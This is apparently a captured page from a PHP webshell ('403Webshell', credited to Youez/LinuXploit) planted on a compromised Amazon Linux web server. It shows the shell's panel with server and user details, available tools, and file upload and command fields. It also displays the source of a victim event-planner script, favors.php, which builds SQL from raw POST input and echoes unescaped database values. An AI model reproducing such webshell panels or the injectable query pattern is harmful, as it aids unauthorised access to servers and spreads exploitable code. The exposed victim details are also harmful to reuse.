403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdevplanner/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdevplanner/mod/favors.php
<?php include('_mod_security.php'); ?>
<?php
	$sql_case = "(CASE f.venue WHEN 'temple' THEN e.temple_rename WHEN 'av' THEN e.av_rename WHEN 'kv' THEN e.kv_rename WHEN 'bv' THEN e.bv_rename WHEN 'dv' THEN e.dv_rename END)";
	$sql = "SELECT f.*, ".$sql_case." AS venue_name FROM favors f INNER JOIN events e on (f.event_id = e.id AND f.user_id = e.user_id) WHERE f.user_id = ".$_SESSION['user_id']."  AND f.event_id = ".$_SESSION['active_event']." ";
	$search_parm = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['strSearch']));
	if ($search_parm != '') :
		$sql = $sql." AND ".search_sql($_POST['strSearch'],'f.description,'.$sql_case)." ";
	endif;
	$sql = $sql." ORDER BY venue_name ASC, f.description ASC";
	//echo " ===== ".$sql." ==== ";
	$result = mysqli_query($GLOBALS['con'], $sql);
	$xls_sql = "SELECT f.description, f.size_xs, f.size_s, f.size_m, f.size_l, f.size_xl, f.size_xxl, f.gender_m, f.gender_f, ".$sql_case." AS event FROM favors f INNER JOIN events e on (f.event_id = e.id AND f.user_id = e.user_id) WHERE f.user_id = ".$_SESSION['user_id']."  AND f.event_id = ".$_SESSION['active_event']." ORDER BY event ASC, f.description ASC";
	$ix_list = "favors";
	$ix_form = "favors_form";
?>
<script>
	// ****** Prepare popup form settings *****
	var win_page = 'page_form.php';
	var win_width = 600;
	var win_height = 400;
	var print_section = 'div_db_grid';
</script>

<h1>Favor Definitions</h1>
<?php get_notes(); ?>
<?php get_help_guide('help_favors'); ?>
<?php include('mod/_db_navigator_bar.php'); ?>

<div class="db-grid" id="div_db_grid">

<table id="db_grid_main" class="dbgrid" align="center" cellpadding="0" cellspacing="2" border="0" >
	<thead>
		<tr>
			<td width="275" align="center" class="data-grid-label">
				Favor Description
			</td>
			<td width="150" align="center" class="data-grid-label">
				Event
			</td>
			<td width="75" align="center" class="data-grid-label">
				Delete
			</td>
		</tr>
	</thead>
	<tbody>
		<?php
			while($row = mysqli_fetch_object($result)) :
		?>
				<tr>
					<td class="data-grid-var" >
						<a href="index.php?IX=<?php echo $ix_form; ?>&id=<?php echo $row->id; ?>" >
							<?php echo $row->description; ?>
						</a>
					</td>
					<td class="data-grid-var">
						<?php echo $row->venue_name; ?>
					</td>
					<td class="data-grid-var" align="center" >
						<a href="javascript:confirmDelete('Are you sure?  All associations of this favor with guests will be removed.', 'favors_delete&id=<?php echo $row->id; ?>');"><img src="img/delete_icon.gif" style="border:none;"  /></a>
					</td>
				</tr>
		<?php
			endwhile;
		?>
	</tbody>
</table>

</div>


Youez - 2016 - github.com/yon3zu
LinuXploit